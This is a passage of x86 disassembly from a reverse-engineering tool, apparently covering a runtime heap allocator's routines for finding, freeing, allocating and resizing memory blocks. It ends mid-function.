=============== S U B R O U T I N E ======================================= sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p ; sub_41944F+4Cp ... arg_0 = dword ptr 4 mov eax, dword_48B678 lea ecx, [eax+eax*4] mov eax, dword_48B67C lea ecx, [eax+ecx*4] loc_41AD99: ; CODE XREF: sub_41AD89+26j cmp eax, ecx jnb short loc_41ADB1 mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41ADB3 add eax, 14h jmp short loc_41AD99 ; --------------------------------------------------------------------------- loc_41ADB1: ; CODE XREF: sub_41AD89+12j xor eax, eax locret_41ADB3: ; CODE XREF: sub_41AD89+21j retn sub_41AD89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p ; sub_41944F+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41B0D8 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41AE8A sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE18 push 3Fh pop edx loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41AE6C cmp edx, 20h jnb short loc_41AE43 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41AE64 ; --------------------------------------------------------------------------- loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41AE64 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41AE64: ; CODE XREF: sub_41ADB4+86j ; sub_41ADB4+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41AE6F ; --------------------------------------------------------------------------- loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj mov ecx, [ebp+var_4] loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41AE8A: ; CODE XREF: sub_41ADB4+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41AE98 push 3Fh pop edx loc_41AE98: ; CODE XREF: sub_41ADB4+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41AF3B sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41AEBD mov ebx, esi loc_41AEBD: ; CODE XREF: sub_41ADB4+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41AECF mov edx, esi loc_41AECF: ; CODE XREF: sub_41ADB4+117j cmp ebx, edx jz short loc_41AF36 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41AF1E cmp ebx, 20h jnb short loc_41AEFF mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41AF1E ; --------------------------------------------------------------------------- loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41AF1E mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41AF1E: ; CODE XREF: sub_41ADB4+128j ; sub_41ADB4+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj mov esi, [ebp+arg_4] jmp short loc_41AF3E ; --------------------------------------------------------------------------- loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj mov ebx, [ebp+arg_0] loc_41AF3E: ; CODE XREF: sub_41ADB4+185j cmp [ebp+var_C], 0 jnz short loc_41AF4C cmp ebx, edx jz loc_41AFCD loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41AFCD mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41AFA4 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AF93 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41AFCD ; --------------------------------------------------------------------------- loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41AFBA lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41AFCD: ; CODE XREF: sub_41ADB4+192j ; sub_41ADB4+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41B0D8 mov eax, dword_48B674 test eax, eax jz loc_41B0CA mov ecx, dword_48B66C mov esi, dword_4241B0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_48B66C mov eax, dword_48B674 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_48B674 mov ecx, dword_48B66C mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_48B674 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_48B674 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41B05B and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_48B674 loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41B0CA push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_48B674 push dword ptr [eax+10h] push 0 push dword_48B684 nop call near ptr 26E033Bh mov eax, dword_48B678 mov edx, dword_48B67C lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_48B674 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_4182C0 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_48B678 cmp eax, dword_48B674 jbe short loc_41B0C0 sub [ebp+arg_0], 14h loc_41B0C0: ; CODE XREF: sub_41ADB4+306j mov eax, dword_48B67C mov dword_48B670, eax loc_41B0CA: ; CODE XREF: sub_41ADB4+234j ; sub_41ADB4+2ABj mov eax, [ebp+arg_0] mov dword_48B66C, edi mov dword_48B674, eax loc_41B0D8: ; CODE XREF: sub_41ADB4+38j ; sub_41ADB4+227j pop edi pop esi pop ebx leave retn sub_41ADB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p ; sub_41944F+77p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_48B678 mov edx, dword_48B67C push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41B11D or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41B12D ; --------------------------------------------------------------------------- loc_41B11D: ; CODE XREF: sub_41B0DD+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej mov eax, dword_48B670 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41B154 loc_41B13B: ; CODE XREF: sub_41B0DD+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B154 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41B13B loc_41B154: ; CODE XREF: sub_41B0DD+5Cj ; sub_41B0DD+6Aj cmp ebx, [ebp+var_4] jnz short loc_41B1D2 mov ebx, edx loc_41B15B: ; CODE XREF: sub_41B0DD+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B177 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B175 add ebx, 14h jmp short loc_41B15B ; --------------------------------------------------------------------------- loc_41B175: ; CODE XREF: sub_41B0DD+91j cmp ebx, eax loc_41B177: ; CODE XREF: sub_41B0DD+83j jnz short loc_41B1D2 loc_41B179: ; CODE XREF: sub_41B0DD+ADj cmp ebx, [ebp+var_4] jnb short loc_41B18F cmp dword ptr [ebx+8], 0 jnz short loc_41B18C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41B179 ; --------------------------------------------------------------------------- loc_41B18C: ; CODE XREF: sub_41B0DD+A5j cmp ebx, [ebp+var_4] loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj jnz short loc_41B1B7 mov ebx, edx loc_41B193: ; CODE XREF: sub_41B0DD+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41B1A7 cmp dword ptr [ebx+8], 0 jnz short loc_41B1A5 add ebx, 14h jmp short loc_41B193 ; --------------------------------------------------------------------------- loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j cmp ebx, eax loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj jnz short loc_41B1B7 call sub_41B3E6 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41B1CB loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj ; sub_41B0DD:loc_41B1A7j push ebx call sub_41B497 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41B1D2 loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j xor eax, eax jmp loc_41B3E1 ; --------------------------------------------------------------------------- loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj ; sub_41B0DD:loc_41B177j ... mov dword_48B670, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41B1F9 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41B230 loc_41B1F9: ; CODE XREF: sub_41B0DD+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41B22D loc_41B216: ; CODE XREF: sub_41B0DD+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41B216 loc_41B22D: ; CODE XREF: sub_41B0DD+137j mov edx, [ebp+var_4] loc_41B230: ; CODE XREF: sub_41B0DD+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41B259 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41B259: ; CODE XREF: sub_41B0DD+16Dj ; sub_41B0DD+183j test ecx, ecx jl short loc_41B262 shl ecx, 1 inc edi jmp short loc_41B259 ; --------------------------------------------------------------------------- loc_41B262: ; CODE XREF: sub_41B0DD+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41B27F push 3Fh pop esi loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj cmp esi, edi jz loc_41B394 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B2F0 cmp edi, 20h jge short loc_41B2BF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41B2ED mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41B2F0 ; --------------------------------------------------------------------------- loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j ; sub_41B0DD+203j mov ebx, [ebp+arg_0] loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j ; sub_41B0DD+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41B3A0 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41B391 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41B362 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B350 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41B350: ; CODE XREF: sub_41B0DD+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41B391 ; --------------------------------------------------------------------------- loc_41B362: ; CODE XREF: sub_41B0DD+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41B37B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41B391: ; CODE XREF: sub_41B0DD+24Ej ; sub_41B0DD+283j mov ecx, [ebp+var_8] loc_41B394: ; CODE XREF: sub_41B0DD+1A4j test ecx, ecx jz short loc_41B3A3 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41B3A3 ; --------------------------------------------------------------------------- loc_41B3A0: ; CODE XREF: sub_41B0DD+229j mov ecx, [ebp+var_8] loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j ; sub_41B0DD+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41B3D9 cmp ebx, dword_48B674 jnz short loc_41B3D9 mov ecx, [ebp+var_4] cmp ecx, dword_48B66C jnz short loc_41B3D9 and dword_48B674, 0 loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j ; sub_41B0DD+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j pop edi pop esi pop ebx leave retn sub_41B0DD endp ; =============== S U B R O U T I N E ======================================= sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp mov eax, dword_48B678 mov ecx, dword_48B668 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41B429 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_48B67C push edi push dword_48B684 nop call near ptr 2800000h cmp eax, edi jz short loc_41B479 add dword_48B668, 10h mov dword_48B67C, eax mov eax, dword_48B678 loc_41B429: ; CODE XREF: sub_41B3E6+11j mov ecx, dword_48B67C push 41C4h push 8 lea eax, [eax+eax*4] push dword_48B684 lea esi, [ecx+eax*4] nop call near ptr 26F0000h cmp eax, edi mov [esi+10h], eax jz short loc_41B479 push 4 push 2000h push 100000h push edi nop call near ptr 2830659h cmp eax, edi mov [esi+0Ch], eax jnz short loc_41B47D push dword ptr [esi+10h] push edi push dword_48B684 nop call near ptr 26E033Bh loc_41B479: ; CODE XREF: sub_41B3E6+30j ; sub_41B3E6+67j xor eax, eax jmp short loc_41B494 ; --------------------------------------------------------------------------- loc_41B47D: ; CODE XREF: sub_41B3E6+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_48B678 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41B494: ; CODE XREF: sub_41B3E6+95j pop edi pop esi retn sub_41B3E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41B4A9: ; CODE XREF: sub_41B497+19j test eax, eax jl short loc_41B4B2 shl eax, 1 inc ebx jmp short loc_41B4A9 ; --------------------------------------------------------------------------- loc_41B4B2: ; CODE XREF: sub_41B497+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41B4C7: ; CODE XREF: sub_41B497+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41B4C7 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi nop call near ptr 2830659h test eax, eax jnz short loc_41B4FA or eax, 0FFFFFFFFh jmp loc_41B58D ; --------------------------------------------------------------------------- loc_41B4FA: ; CODE XREF: sub_41B497+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41B540 lea eax, [edi+10h] loc_41B507: ; CODE XREF: sub_41B497+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41B507 loc_41B540: ; CODE XREF: sub_41B497+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41B57D or [eax+4], edi loc_41B57D: ; CODE XREF: sub_41B497+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41B58D: ; CODE XREF: sub_41B497+5Ej pop edi pop esi pop ebx leave retn sub_41B497 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41B740 test bl, 1 jnz loc_41B739 add ebx, ecx cmp esi, ebx jg loc_41B739 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41B609 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41B609: ; CODE XREF: sub_41B592+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41B659 cmp ecx, 20h jnb short loc_41B635 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B659 ; --------------------------------------------------------------------------- loc_41B635: ; CODE XREF: sub_41B592+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B659 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B659: ; CODE XREF: sub_41B592+7Dj ; sub_41B592+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41B727 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41B693 push 3Fh pop edi loc_41B693: ; CODE XREF: sub_41B592+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41B715 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41B6EC cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B6DF mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41B6DF: ; CODE XREF: sub_41B592+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41B711 ; --------------------------------------------------------------------------- loc_41B6EC: ; CODE XREF: sub_41B592+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41B702 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41B702: ; CODE XREF: sub_41B592+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41B711: ; CODE XREF: sub_41B592+158j shr edx, cl or [eax], edx loc_41B715: ; CODE XREF: sub_41B592+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41B72A ; --------------------------------------------------------------------------- loc_41B727: ; CODE XREF: sub_41B592+E5j mov edx, [ebp+arg_4] loc_41B72A: ; CODE XREF: sub_41B592+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41B880 ; --------------------------------------------------------------------------- loc_41B739: ; CODE XREF: sub_41B592+52j ; sub_41B592+5Cj xor eax, eax jmp loc_41B883 ; --------------------------------------------------------------------------- loc_41B740: ; CODE XREF: sub_41B592+49j jge loc_41B880 mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41B76B push 3Fh pop esi loc_41B76B: ; CODE XREF: sub_41B592+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41B7FA mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B784 push 3Fh pop esi loc_41B784: ; CODE XREF: sub_41B592+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41B7D3 cmp esi, 20h jnb short loc_41B7AF mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41B7D0 ; --------------------------------------------------------------------------- loc_41B7AF: ; CODE XREF: sub_41B592+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41B7D0 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41B7D0: ; CODE XREF: sub_41B592+214j ; sub_41B592+21Bj ... mov ebx, [ebp+arg_4] loc_41B7D3: ; CODE XREF: sub_41B592+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41B7FA push 3Fh pop esi loc_41B7FA: ; CODE XREF: sub_41B592+1DDj ; sub_41B592+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41B877 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41B84E cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B841 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41B841: ; CODE XREF: sub_41B592+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41B873 ; --------------------------------------------------------------------------- loc_41B84E: ; CODE XREF: sub_41B592+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41B864 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41B864: ; CODE XREF: sub_41B592+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41B873: ; CODE XREF: sub_41B592+2BAj shr edx, cl or [eax], edx loc_41B877: ; CODE XREF: sub_41B592+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41B880: ; CODE XREF: sub_41B592+1A2j ; sub_41B592:loc_41B740j push 1 pop eax loc_41B883: ; CODE XREF: sub_41B592+1A9j pop edi pop esi pop ebx leave retn sub_41B592 endp ; =============== S U B R O U T I N E ======================================= sub_41B888 proc near ; CODE XREF: sub_41BB80:loc_41BD4Fp cmp dword_4397D0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41B89C mov esi, offset off_4397C0 jmp short loc_41B8B9 ; --------------------------------------------------------------------------- loc_41B89C: ; CODE XREF: sub_41B888+Bj push 2020h push 0 push dword_48B684 nop call near ptr 26F0000h mov esi, eax test esi, esi jz loc_41B9C5 loc_41B8B9: ; CODE XREF: 